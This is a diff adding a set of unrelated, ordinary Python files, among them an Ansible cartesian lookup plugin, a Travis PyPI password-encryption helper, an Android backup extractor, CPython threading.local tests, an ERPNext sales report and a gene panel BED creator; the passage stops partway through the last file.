a/pool/shard009/Python/0082019_library.py b/pool/shard009/Python/0082019_library.py new file mode 100644 index 0000000000000000000000000000000000000000..57a6954e4ec789b21255949915d80d63e491e742 --- /dev/null +++ b/pool/shard009/Python/0082019_library.py @@ -0,0 +1,52 @@ +import re + +def lexicology_get_all_synsets(input_dict): + if input_dict['corpus'].lower()=='wordnet': + from nltk.corpus import wordnet as wn + synsets = {} + for word in input_dict['words']: + synsets[word] = wn.synsets(word) + return {'synsets' : synsets} + +def lexicology_get_word_synsets(input_dict): + if input_dict['corpus'].lower()=='wordnet': + from nltk.corpus import wordnet as wn + return {'synsets':wn.synsets(input_dict['word'])} + + +def read_string_in_slovene(input_dict): + return {} + + +def lexicology_mesh_filter(input_dict): + return {'output_file':'svoboden kot pticek na veji'} + +def lexicology_mesh_filter_finished(postdata, input_dict, output_dict): + import json + from os.path import normpath, join, dirname + + ngrams = input_dict.get('ngrams') + + selected_categories=postdata.get('selected[]') + terms_per_category=json.load(open(normpath(join(dirname(__file__),'data/mesh_terms_per_category.json')))) + + terms=set() + for category in selected_categories: + for term in terms_per_category[category]: + + if ngrams: + single_words=term.split(" ") + print "SW:",single_words + for n in range(2 if len(single_words)>1 else 1,len(single_words)+1): + grams = set([" ".join(single_words[i:i+n]) for i in xrange(len(single_words)-n+1)]) + terms |= grams + print grams + else: + terms.add(term) + + return {'term_list':list(terms)} + + + + + diff --git a/pool/shard009/Python/0082020_cartesian.py b/pool/shard009/Python/0082020_cartesian.py new file mode 100644 index 0000000000000000000000000000000000000000..d15bf026b80eab84690f8f526ef352da6cea3531 --- /dev/null +++ b/pool/shard009/Python/0082020_cartesian.py @@ -0,0 +1,85 @@ +# (c) 2013, Bradley Young +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . +from __future__ import (absolute_import, division, print_function) +__metaclass__ = type + +DOCUMENTATION = """ + lookup: cartesian + version_added: "2.1" + short_description: returns the cartesian product of lists + description: + - Takes the input lists and returns a list that represents the product of the input lists. + options: + _raw: + description: + - a set of lists + required: True +""" + +EXAMPLES = """ + + - name: outputs the cartesian product of the supplied lists + debug: msg="{{item}}" + with_cartesian: + - "{{list1}}" + - "{{list2}}" + - name: used as lookup changes [1, 2, 3], [a, b] into [1, a], [1, b], [2, a], [2, b], [3, a], [3, b] + debug: msg="{{ [1,2,3]|lookup('cartesian', [a, b])}}" +""" + +RETURN = """ + _list: + description: + - list of lists composed of elements of the input lists + type: lists +""" + +from itertools import product + +from ansible.errors import AnsibleError +from ansible.plugins.lookup import LookupBase +from ansible.utils.listify import listify_lookup_plugin_terms + + +class LookupModule(LookupBase): + """ + Create the cartesian product of lists + [1, 2, 3], [a, b] -> [1, a], [1, b], [2, a], [2, b], [3, a], [3, b] + """ + + def _lookup_variables(self, terms): + """ + Turn this: + terms == ["1,2,3", "a,b"] + into this: + terms == [[1,2,3], [a, b]] + """ + results = [] + for x in terms: + intermediate = listify_lookup_plugin_terms(x, templar=self._templar, loader=self._loader) + results.append(intermediate) + return results + + def run(self, terms, variables=None, **kwargs): + + terms = self._lookup_variables(terms) + + my_list = terms[:] + if len(my_list) == 0: + raise AnsibleError("with_cartesian requires at least one element in each list") + + return [self._flatten(x) for x in product(*my_list)] diff --git a/pool/shard009/Python/0082025_travis_pypi_setup.py b/pool/shard009/Python/0082025_travis_pypi_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..c58d56e945ec01ff127b443c10ed49ea2bfa16c2 --- /dev/null +++ b/pool/shard009/Python/0082025_travis_pypi_setup.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +"""Update encrypted deploy password in Travis config file.""" + + +from __future__ import print_function +import base64 +import json +import os +from getpass import getpass +import yaml +from cryptography.hazmat.primitives.serialization import load_pem_public_key +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15 + + +try: + from urllib import urlopen +except ImportError: + from urllib.request import urlopen + + +GITHUB_REPO = 'SekouD/lyricsmaster' +TRAVIS_CONFIG_FILE = os.path.join( + os.path.dirname(os.path.abspath(__file__)), '.travis.yml') + + +def load_key(pubkey): + """Load public RSA key. + + Work around keys with incorrect header/footer format. + + Read more about RSA encryption with cryptography: + https://cryptography.io/latest/hazmat/primitives/asymmetric/rsa/ + """ + try: + return load_pem_public_key(pubkey.encode(), default_backend()) + except ValueError: + # workaround for https://github.com/travis-ci/travis-api/issues/196 + pubkey = pubkey.replace('BEGIN RSA', 'BEGIN').replace('END RSA', 'END') + return load_pem_public_key(pubkey.encode(), default_backend()) + + +def encrypt(pubkey, password): + """Encrypt password using given RSA public key and encode it with base64. + + The encrypted password can only be decrypted by someone with the + private key (in this case, only Travis). + """ + key = load_key(pubkey) + encrypted_password = key.encrypt(password, PKCS1v15()) + return base64.b64encode(encrypted_password) + + +def fetch_public_key(repo): + """Download RSA public key Travis will use for this repo. + + Travis API docs: http://docs.travis-ci.com/api/#repository-keys + """ + keyurl = 'https://api.travis-ci.org/repos/{0}/key'.format(repo) + data = json.loads(urlopen(keyurl).read().decode()) + if 'key' not in data: + errmsg = "Could not find public key for repo: {}.\n".format(repo) + errmsg += "Have you already added your GitHub repo to Travis?" + raise ValueError(errmsg) + return data['key'] + + +def prepend_line(filepath, line): + """Rewrite a file adding a line to its beginning.""" + with open(filepath) as f: + lines = f.readlines() + + lines.insert(0, line) + + with open(filepath, 'w') as f: + f.writelines(lines) + + +def load_yaml_config(filepath): + """Load yaml config file at the given path.""" + with open(filepath) as f: + return yaml.load(f) + + +def save_yaml_config(filepath, config): + """Save yaml config file at the given path.""" + with open(filepath, 'w') as f: + yaml.dump(config, f, default_flow_style=False) + + +def update_travis_deploy_password(encrypted_password): + """Put `encrypted_password` into the deploy section of .travis.yml.""" + config = load_yaml_config(TRAVIS_CONFIG_FILE) + + config['deploy']['password'] = dict(secure=encrypted_password) + + save_yaml_config(TRAVIS_CONFIG_FILE, config) + + line = ('# This file was autogenerated and will overwrite' + ' each time you run travis_pypi_setup.py\n') + prepend_line(TRAVIS_CONFIG_FILE, line) + + +def main(args): + """Add a PyPI password to .travis.yml so that Travis can deploy to PyPI. + + Fetch the Travis public key for the repo, and encrypt the PyPI password + with it before adding, so that only Travis can decrypt and use the PyPI + password. + """ + public_key = fetch_public_key(args.repo) + password = args.password or getpass('PyPI password: ') + update_travis_deploy_password(encrypt(public_key, password.encode())) + print("Wrote encrypted password to .travis.yml -- you're ready to deploy") + + +if '__main__' == __name__: + import argparse + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--repo', default=GITHUB_REPO, + help='GitHub repo (default: %s)' % GITHUB_REPO) + parser.add_argument('--password', + help='PyPI password (will prompt if not provided)') + + args = parser.parse_args() + main(args) diff --git a/pool/shard009/Python/0082027_abx.py b/pool/shard009/Python/0082027_abx.py new file mode 100644 index 0000000000000000000000000000000000000000..4b98b0257b356c74e33c70897e92669c0a1e223c --- /dev/null +++ b/pool/shard009/Python/0082027_abx.py @@ -0,0 +1,76 @@ +# Android Backup Extractor +# Copyright (C) 2014 InFo-Lab +# +# This program is free software; you can redistribute it and/or modify it under the terms of the GNU +# Lesser General Public License as published by the Free Software Foundation; either version 2 of +# the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License along with this program; if not, +# write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +# coding=utf-8 + +import argparse +import os +import sys +import zlib + +# Android Backup description: +# http://nelenkov.blogspot.com.ar/2012/06/unpacking-android-backups.html + +C_BUFFER_SIZE = 1048576 + + +def ArgParse(): + """ + Parses the command line arguments + + :return: argparse dictionary + """ + # parse command line arguments + parser = argparse.ArgumentParser( + description="xbackup: extracts an Android ICS+ backup file.") + parser.add_argument("ipath", + help="Input path.") + parser.add_argument("opath", + help="Input path.") + args = parser.parse_args() + return args + + +def Extract(args): + """ + Extracts the .tar file of an Android Backup. Assumes the backup is not encrypted and is + compressed. + + :param args: + :return: + """ + ifile = open(args.ipath, "rb") + ofile = open(args.opath, "wb") + data = ifile.read(C_BUFFER_SIZE) + pos = data.find("none\n") + 5 + data = data[pos:] + dc = zlib.decompressobj() + while data: + ofile.write(dc.decompress(data)) + data = ifile.read(C_BUFFER_SIZE) + ifile.close() + ofile.close() + + +def main(): + args = ArgParse() + if os.path.isfile(args.ipath): + Extract(args) + else: + print "Could not open input file!." + return 1 + return 0 + +if __name__ == "__main__": + sys.exit(main()) \ No newline at end of file diff --git a/pool/shard009/Python/0082028_314_test_threading_local.py b/pool/shard009/Python/0082028_314_test_threading_local.py new file mode 100644 index 0000000000000000000000000000000000000000..c9d0fddf2f64af749819acb80d4e9c59173ff5c3 --- /dev/null +++ b/pool/shard009/Python/0082028_314_test_threading_local.py @@ -0,0 +1,215 @@ +import unittest +from doctest import DocTestSuite +from test import support +import weakref +import gc + +# Modules under test +_thread = support.import_module('_thread') +threading = support.import_module('threading') +import _threading_local + + +class Weak(object): + pass + +def target(local, weaklist): + weak = Weak() + local.weak = weak + weaklist.append(weakref.ref(weak)) + + +class BaseLocalTest: + + def test_local_refs(self): + self._local_refs(20) + self._local_refs(50) + self._local_refs(100) + + def _local_refs(self, n): + local = self._local() + weaklist = [] + for i in range(n): + t = threading.Thread(target=target, args=(local, weaklist)) + t.start() + t.join() + del t + + gc.collect() + self.assertEqual(len(weaklist), n) + + # XXX _threading_local keeps the local of the last stopped thread alive. + deadlist = [weak for weak in weaklist if weak() is None] + self.assertIn(len(deadlist), (n-1, n)) + + # Assignment to the same thread local frees it sometimes (!) + local.someothervar = None + gc.collect() + deadlist = [weak for weak in weaklist if weak() is None] + self.assertTrue(len(deadlist) in (n-1, n), (n, len(deadlist))) + + def test_derived(self): + # Issue 3088: if there is a threads switch inside the __init__ + # of a threading.local derived class, the per-thread dictionary + # is created but not correctly set on the object. + # The first member set may be bogus. + import time + class Local(self._local): + def __init__(self): + time.sleep(0.01) + local = Local() + + def f(i): + local.x = i + # Simply check that the variable is correctly set + self.assertEqual(local.x, i) + + threads= [] + for i in range(10): + t = threading.Thread(target=f, args=(i,)) + t.start() + threads.append(t) + + for t in threads: + t.join() + + def test_derived_cycle_dealloc(self): + # http://bugs.python.org/issue6990 + class Local(self._local): + pass + locals = None + passed = False + e1 = threading.Event() + e2 = threading.Event() + + def f(): + nonlocal passed + # 1) Involve Local in a cycle + cycle = [Local()] + cycle.append(cycle) + cycle[0].foo = 'bar' + + # 2) GC the cycle (triggers threadmodule.c::local_clear + # before local_dealloc) + del cycle + gc.collect() + e1.set() + e2.wait() + + # 4) New Locals should be empty + passed = all(not hasattr(local, 'foo') for local in locals) + + t = threading.Thread(target=f) + t.start() + e1.wait() + + # 3) New Locals should recycle the original's address. Creating + # them in the thread overwrites the thread state and avoids the + # bug + locals = [Local() for i in range(10)] + e2.set() + t.join() + + self.assertTrue(passed) + + def _test_one_class(self, c): + self._failed = "No error message set or cleared." + obj = c() + e1 = threading.Event() + e2 = threading.Event() + + def f1(): + obj.x = 'foo' + obj.y = 'bar' + del obj.y + e1.set() + e2.wait() + + def f2(): + try: + foo = obj.x + except AttributeError: + # This is expected -- we haven't set obj.x in this thread yet! + self._failed = "" # passed + else: + self._failed = ('Incorrectly got value %r from class %r\n' % + (foo, c)) + sys.stderr.write(self._failed) + + t1 = threading.Thread(target=f1) + t1.start() + e1.wait() + t2 = threading.Thread(target=f2) + t2.start() + t2.join() + # The test is done; just let t1 know it can exit, and wait for it. + e2.set() + t1.join() + + self.assertFalse(self._failed, self._failed) + + def test_threading_local(self): + self._test_one_class(self._local) + + def test_threading_local_subclass(self): + class LocalSubclass(self._local): + """To test that subclasses behave properly.""" + self._test_one_class(LocalSubclass) + + def _test_dict_attribute(self, cls): + obj = cls() + obj.x = 5 + self.assertEqual(obj.__dict__, {'x': 5}) + with self.assertRaises(AttributeError): + obj.__dict__ = {} + with self.assertRaises(AttributeError): + del obj.__dict__ + + def test_dict_attribute(self): + self._test_dict_attribute(self._local) + + def test_dict_attribute_subclass(self): + class LocalSubclass(self._local): + """To test that subclasses behave properly.""" + self._test_dict_attribute(LocalSubclass) + + +class ThreadLocalTest(unittest.TestCase, BaseLocalTest): + _local = _thread._local + + # Fails for the pure Python implementation + def test_cycle_collection(self): + class X: + pass + + x = X() + x.local = self._local() + x.local.x = x + wr = weakref.ref(x) + del x + gc.collect() + self.assertIs(wr(), None) + +class PyThreadingLocalTest(unittest.TestCase, BaseLocalTest): + _local = _threading_local.local + + +def test_main(): + suite = unittest.TestSuite() + suite.addTest(DocTestSuite('_threading_local')) + suite.addTest(unittest.makeSuite(ThreadLocalTest)) + suite.addTest(unittest.makeSuite(PyThreadingLocalTest)) + + local_orig = _threading_local.local + def setUp(test): + _threading_local.local = _thread._local + def tearDown(test): + _threading_local.local = local_orig + suite.addTest(DocTestSuite('_threading_local', + setUp=setUp, tearDown=tearDown) + ) + + support.run_unittest(suite) + +if __name__ == '__main__': + test_main() diff --git a/pool/shard009/Python/0082033_supplier_wise_sales_analytics.py b/pool/shard009/Python/0082033_supplier_wise_sales_analytics.py new file mode 100644 index 0000000000000000000000000000000000000000..917a3342514b5e53dfe4627c8ba6439e89a94511 --- /dev/null +++ b/pool/shard009/Python/0082033_supplier_wise_sales_analytics.py @@ -0,0 +1,97 @@ +# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors +# License: GNU General Public License v3. See license.txt + +from __future__ import unicode_literals +import frappe +from frappe import _ +from frappe.utils import flt +from six import iteritems + +def execute(filters=None): + columns = get_columns(filters) + consumed_details = get_consumed_details(filters) + supplier_details = get_suppliers_details(filters) + material_transfer_vouchers = get_material_transfer_vouchers() + data = [] + + for item_code, suppliers in iteritems(supplier_details): + consumed_qty = consumed_amount = delivered_qty = delivered_amount = 0.0 + total_qty = total_amount = 0.0 + if consumed_details.get(item_code): + for cd in consumed_details.get(item_code): + + if (cd.voucher_no not in material_transfer_vouchers): + if cd.voucher_type=="Delivery Note": + delivered_qty += abs(flt(cd.actual_qty)) + delivered_amount += abs(flt(cd.stock_value_difference)) + elif cd.voucher_type!="Delivery Note": + consumed_qty += abs(flt(cd.actual_qty)) + consumed_amount += abs(flt(cd.stock_value_difference)) + + if consumed_qty or consumed_amount or delivered_qty or delivered_amount: + total_qty += delivered_qty + consumed_qty + total_amount += delivered_amount + consumed_amount + + row = [cd.item_code, cd.item_name, cd.description, cd.stock_uom, \ + consumed_qty, consumed_amount, delivered_qty, delivered_amount, \ + total_qty, total_amount, ','.join(list(set(suppliers)))] + data.append(row) + + return columns, data + +def get_columns(filters): + """return columns based on filters""" + + columns = [_("Item") + ":Link/Item:100"] + [_("Item Name") + "::100"] + \ + [_("Description") + "::150"] + [_("UOM") + ":Link/UOM:90"] + \ + [_("Consumed Qty") + ":Float:110"] + [_("Consumed Amount") + ":Currency:130"] + \ + [_("Delivered Qty") + ":Float:110"] + [_("Delivered Amount") + ":Currency:130"] + \ + [_("Total Qty") + ":Float:110"] + [_("Total Amount") + ":Currency:130"] + \ + [_("Supplier(s)") + "::250"] + + return columns + +def get_conditions(filters): + conditions = "" + values = [] + + if filters.get('from_date') and filters.get('to_date'): + conditions = "and sle.posting_date>=%s and sle.posting_date<=%s" + values = [filters.get('from_date'), filters.get('to_date')] + + return conditions, values + +def get_consumed_details(filters): + conditions, values = get_conditions(filters) + consumed_details = {} + + for d in frappe.db.sql("""select sle.item_code, i.item_name, i.description, + i.stock_uom, sle.actual_qty, sle.stock_value_difference, + sle.voucher_no, sle.voucher_type + from `tabStock Ledger Entry` sle, `tabItem` i + where sle.item_code=i.name and sle.actual_qty < 0 %s""" % conditions, values, as_dict=1): + consumed_details.setdefault(d.item_code, []).append(d) + + return consumed_details + +def get_suppliers_details(filters): + item_supplier_map = {} + supplier = filters.get('supplier') + + for d in frappe.db.sql("""select pr.supplier, pri.item_code from + `tabPurchase Receipt` pr, `tabPurchase Receipt Item` pri + where pr.name=pri.parent and pr.docstatus=1 and + pri.item_code=(select name from `tabItem` where + is_stock_item=1 and name=pri.item_code)""", as_dict=1): + item_supplier_map.setdefault(d.item_code, []).append(d.supplier) + + if supplier: + for item_code, suppliers in iteritems(item_supplier_map): + if supplier not in suppliers: + del item_supplier_map[item_code] + + return item_supplier_map + +def get_material_transfer_vouchers(): + return frappe.db.sql_list("""select name from `tabStock Entry` where + purpose='Material Transfer' and docstatus=1""") diff --git a/pool/shard009/Python/0082034_static.py b/pool/shard009/Python/0082034_static.py new file mode 100644 index 0000000000000000000000000000000000000000..b416ad2aa8a9706c8c42bda2a7fa1d90c2567173 --- /dev/null +++ b/pool/shard009/Python/0082034_static.py @@ -0,0 +1,19 @@ +# A middleware for serving static files that is more selective than +# pump.middleware.file. + +from pump.middleware.file import * + +# Wrap the app so that if the request URL falls under any of the URLs in +# static_urls (the URL must start with one of the static_urls), it looks in +# public_dir for a file corresponding to the request URL. If no such file is +# not found, the request is handled normally. +# +# Note that the paths in static_urls should include the leading '/'. +def wrap_static(app, public_dir, static_urls): + app_with_file = wrap_file(app, public_dir) + def wrapped_app(req): + if any([req["uri"].startswith(s) for s in static_urls]): + return app_with_file(req) + else: + return app(req) + return wrapped_app \ No newline at end of file diff --git a/pool/shard009/Python/0082035_task.py b/pool/shard009/Python/0082035_task.py new file mode 100644 index 0000000000000000000000000000000000000000..d8dd0124f1c07cf6eba3b9646f0c07ea24144b27 --- /dev/null +++ b/pool/shard009/Python/0082035_task.py @@ -0,0 +1,206 @@ +# Copyright (c) 2009, Joseph Lisee +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# * Neither the name of StatePy nor the +# names of its contributors may be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY Joseph Lisee ''AS IS'' AND ANY +# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# +# Author: Joseph Lisee +# File: statepy/task.py + +# STD Imports + +# Project Imports +import statepy +import statepy.state as state + +# Special event that denotes +TIMEOUT = state.declareEventType('TIMEOUT') + +class Next(state.State): + """ + Special state denotes that the next task should be moved to + """ + pass + +class Failure(state.State): + """ + Special state denotes that the task failed in an *unrecoverable* way. + """ + pass + +class End(state.State): + """ + Special state that denotes the complete end of the state machine + """ + pass + +class TaskManager(state.State): + """ + Basic implementation of a task manager which provides the next task + in a list of tasks. This can be replaced by any kind system you want, + including one that provides dynamic ordering, unlike the fixed upon + contruction order provided here. + """ + def __init__(self, taskOrder, failureTasks = None): + """ + @type taskOrder: [statepy.task.Task] + @param taskOrder: An ordered list of tasks. + + @type failureTasks: {statepy.state.Task : statepy.state.State} + @param failureTasks: Maps a task to the state you go into upon failure + """ + + # Build list of next states + self._nextTaskMap = {} + self._taskOrder = [] + + for i, taskClass in enumerate(taskOrder): + # Determine which task is really next + nextTaskClass = End + if i != (len(taskOrder) - 1): + nextTaskClass = taskOrder[i + 1] + + # Store the results + self._nextTaskMap[taskClass] = nextTaskClass + + # Record the current class + self._taskOrder.append(taskClass) + + # Build list of failure tasks + self._failureTaskMap = {} + if failureTasks is not None: + self._failureTaskMap = failureTasks + + def getNextTask(self, task): + """ + Returns the task which will be transitioned to when the given task + transitions to the next task. Denoted by task.Next state in the current + Task's transition table. + """ + return self._nextTaskMap[task] + + def getFailureState(self, task): + """ + Returns the state which will be transitioned to when the given task + fails in an unrecoverable way. Recoverable failure are handled + internally by that task. + """ + return self._failureTaskMap.get(task, None) + + +# NOTE: Timeout and Events not in stand alone StatePy so sections disabled + +class Task(state.State): + """ + Encapsulates a single AI task, like completing an objective. It allows for + the implementation and testing of such tasks without concern for what comes + before, or after said task. + + It expects a 'taskManager' which provides 'getNextTask' and + 'getFailureState' methods. These all the Task to setup its transition + table at runtime based upon the desired task ordering. + """ + + # Change me if you wish to have the task manager called something different + TASK_MANAGER_NAME = "taskManager" + + def __init__(self, **statevars): + # Call the super class + state.State.__init__(self, **statevars) + + # Ensure that we have a task manager present + if not statevars.has_key(Task.TASK_MANAGER_NAME): + msg = 'No TaskManager of name "%s" provided to Task State' % Task.TASK_MANAGER_NAME + raise statepy.StatePyException(msg) + + # Dynamically create our event + #self._timeoutEvent = core.declareEventType( + # 'TIMEOUT_' + self.__class__.__name__) + + # From the AI grab our next task + self._taskManager = statevars[Task.TASK_MANAGER_NAME] + self._nextState = self._taskManager.getNextTask(type(self)) + self._failureState = self._taskManager.getFailureState(type(self)) + + # Timeout related values, set later on + #self._hasTimeout = False + #self._timeoutDuration = None + #self._timer = None + + #@property + #def timeoutEvent(self): + # return self._timeoutEvent + + #@property + #def timeoutDuration(self): + # return self._timeoutDuration + + def transitions(self): + """ + A dynamic transition function which allows you to wire together a + missions dynamically. + """ + baseTrans = self._transitions() + newTrans = {} + for eventType, nextState in baseTrans.iteritems(): + # Catch the timeout event and replace with our class specific + # timeout event type + #if eventType == TIMEOUT: + # eventType = self._timeoutEvent + # self._hasTimeout = True + + if nextState == Next: + # If the next state is the special Next marker state, swap it + # out for the real next state + nextState = self._nextState + elif nextState == Failure: + # If that state is the special failure marker state, swap it + # out for the real failure state + if self._failureState is None: + raise "ERROR: transition to non existent failure state" + nextState = self._failureState + + # Store the event + newTrans[eventType] = nextState + + return newTrans + +# @staticmethod +# def getattr(): +# return set(['timeout']) + +# def enter(self, defaultTimeout = None): +# if self._hasTimeout: + # Get timeout duration from configuration file +# if defaultTimeout is None: +# self._timeoutDuration = self._config['timeout'] +# else: +# self._timeoutDuration = self._config.get('timeout', +# defaultTimeout) + # Start our actual timeout timer +# self._timer = self.timerManager.newTimer(self._timeoutEvent, +# self._timeoutDuration) +# self._timer.start() + +# def exit(self): +# if self._timer is not None: +# self._timer.stop() diff --git a/pool/shard009/Python/0082036_ProtectAWordDocument.py b/pool/shard009/Python/0082036_ProtectAWordDocument.py new file mode 100644 index 0000000000000000000000000000000000000000..b834994421afe0d4dba61d46bd8a88c90103bda1 --- /dev/null +++ b/pool/shard009/Python/0082036_ProtectAWordDocument.py @@ -0,0 +1,51 @@ +import asposewordscloud +from asposewordscloud.WordsApi import WordsApi +from asposewordscloud.WordsApi import ApiException +from asposewordscloud.models import ProtectionRequest + +import asposestoragecloud +from asposestoragecloud.StorageApi import StorageApi +from asposestoragecloud.StorageApi import ResponseMessage + + +apiKey = "XXXXX" #sepcify App Key +appSid = "XXXXX" #sepcify App SID +apiServer = "http://api.aspose.com/v1.1" +data_folder = "../../data/" + +#Instantiate Aspose Storage API SDK +storage_apiClient = asposestoragecloud.ApiClient.ApiClient(apiKey, appSid, True) +storageApi = StorageApi(storage_apiClient) +#Instantiate Aspose Words API SDK +api_client = asposewordscloud.ApiClient.ApiClient(apiKey, appSid, True) +wordsApi = WordsApi(api_client) + +#set input file name +filename = "SampleBlankWordDocument.docx" +destfilename = "updated-" + filename + +body = ProtectionRequest.ProtectionRequest() +body.Password = "aspose" +body.ProtectionType = "ReadOnly" + +#upload file to aspose cloud storage +storageApi.PutCreate(Path=filename, file=data_folder + filename) + +try: + #invoke Aspose.Words Cloud SDK API to protect a word document + response = wordsApi.PutProtectDocument(name=filename, body=body, filename=destfilename) + + if response.Status == "OK": + print "Document has been protected successfully" + #download updated document from storage server + response = storageApi.GetDownload(Path=destfilename) + outfilename = "c:/temp/" + destfilename + with open(outfilename, 'wb') as f: + for chunk in response.InputStream: + f.write(chunk) + +except ApiException as ex: + print "ApiException:" + print "Code:" + str(ex.code) + print "Message:" + ex.message + diff --git a/pool/shard009/Python/0082038_gene_panel_creator.py b/pool/shard009/Python/0082038_gene_panel_creator.py new file mode 100644 index 0000000000000000000000000000000000000000..3d0fe4392e45213571000c2913886dbcb326a98e --- /dev/null +++ b/pool/shard009/Python/0082038_gene_panel_creator.py @@ -0,0 +1,255 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +""" +Created on Tue Jul 7 10:22:32 2015 +Finished on Fri Jul 1 22:59:40 2016 + +@author: Daniel Danis + +Use this script to create gene panel (GP) in BED format. Take infro from Ensembl's GTF file. + +The purpose of GP is to define genome-scaled regions of interest. +As Whole Exome Sequencing produces plenty variants, GP is used to focus on defined +set of genes which may have been associated with the disease before. + +The list of Ensembl Gene IDs or Associated gene names is used to select genes, 'protein_coding' transcripts or exons. +Upstream and downstream from UTR gene regions can be reported for each transcript. +Exon padding can be set in 5' and 3' direction. + + +""" +import argparse +import datetime +import logging + +import libgpc + +VERSION = 'v0.1.0' + + +def parse_arguments(): + parser = argparse.ArgumentParser( + description="Use this script to create BED files containing regions of genes you are interested in. You need " + "to sort BED after creation with bedtools sort.") + parser.add_argument("gene_ids", + help="Path to ENSEMBL IDs or Associated gene names") + parser.add_argument("index_file", help="Gtf cache index path") + parser.add_argument("-o", "--out_file", default=None, help="Where to save BED file. Default '.bed'") + parser.add_argument("-l", "--log_path", default=None, help="Where to save log. Default current directory") + parser.add_argument("--fmt", default='exon', + help="Output record format. Choose from exon, transcript or gene. Default: exon") + parser.add_argument("-5", "--five_exon_padding", default=0, help="Set upstream exon padding. Default 0 bp.") + parser.add_argument("-3", "--three_exon_padding", default=0, help="Set downstream exon padding. Default 0 bp.") + parser.add_argument("-u", "--upstream", default=0, help="Set upstream region size. Default 0 bp. ") + parser.add_argument("-d", "--downstream", default=0, help="Set downstream region size. Default 0 bp. ") + parser.add_argument("-v", "--version", action="version", version="%(prog)s " + VERSION, help="Show script version") + return parser.parse_args() + + +def validate_ensembl_id(ens): + """Perform simple validation of Ensembl Gene identificators""" + # TODO - validate with some regex + logger = logging.getLogger(__name__) + if ens.startswith("ENSG") and len(ens) == 15: + logger.debug("ID '{}' is ok".format(ens)) + return ens + else: + logger.warning("Skipping record {}, it doesn't seem like an ENSEMBL Gene identifier!".format(ens)) + raise ValueError + + +def load_ensembl_ids(f_path): + """Load ensembl IDs and return them in a list""" + logger = logging.getLogger(__name__) + logger.info("Loading ENSEMBL gene IDs from file '{}'".format(f_path)) + ok_ids = list() + with open(f_path, mode='r') as ef: + for line in ef: + l = line.strip() + if l.startswith("#"): + continue + else: + try: + ens = validate_ensembl_id(l) + ok_ids.append(ens) + except ValueError: + pass + + logger.info("Loaded {} associated gene names".format(len(ok_ids))) + return ok_ids + + +def load_gene_names(f_path): + """Load associated gene names and return them in a list""" + logger = logging.getLogger(__name__) + logger.info("Loading associated gene names from file '{}'".format(f_path)) + gene_ids = list() + with open(f_path, mode='r') as gn: + for line in gn: + l = line.strip() + if l.startswith("#"): + continue + else: + gene_ids.append(l) + + logger.info("Loaded {} associated gene names".format(len(gene_ids))) + return gene_ids + + +def sniff_id_types(f_path, no_lines_read=20): + """Read a few lines from file with IDs and try to guess ID type""" + logger = logging.getLogger(__name__) + logger.info("Reading first {} lines of file '{}' and guessing ID type.".format(no_lines_read, f_path)) + lines = [] + with open(f_path, mode='r') as f_handle: + i = 0 + while i < no_lines_read: + try: + line = next(f_handle) + if not line.startswith("#"): + line.strip() + lines.append(line) + i += 1 + except StopIteration: + break + + if all([tag.startswith("ENSG") for tag in lines]): + logger.info("ID type set to '{}'".format('ENS_GENE')) + return 'ENS_GENE' + else: + logger.info("ID type set to '{}'".format('ASSOC_GENE_NAME')) + return 'ASSOC_GENE_NAME' + + +class GPCOptions(object): + """Container for storing run options""" + + # default values + defaults = {'fmt': 'exon', 'five_padding': 0, + 'three_padding': 0, 'upstream': 0, + 'downstream': 0, 't_types': ['protein_coding'], + 't_sources': ['havana', 'ensembl_havana', 'insdc', 'ensembl'], + 'logger': logging.getLogger(__name__)} + + fmts = ('gene', 'transcript', 'exon') + + def __init__(self, *args, **kwargs): + self.logger = logging.getLogger(__name__) + self._cont = {} + for option in GPCOptions.defaults.keys(): + if option in kwargs: + # non default value, must be checked + checked_value = self._check_value(option, kwargs[option]) + self._cont[option] = checked_value + else: + # set default value + # setattr(self, option, GPCOptions.defaults[option]) + self._cont[option] = GPCOptions.defaults[option] + + if args: + self.logger.warning("Unable to process values '{}'".format(','.join([str(x) for x in args]))) + + def _check_value(self, value_type, value): + """Check option's value if it is in proper format""" + if value_type in ('five_padding', 'three_padding', 'upstream', 'downstream'): + try: + return int(value) + except ValueError: + 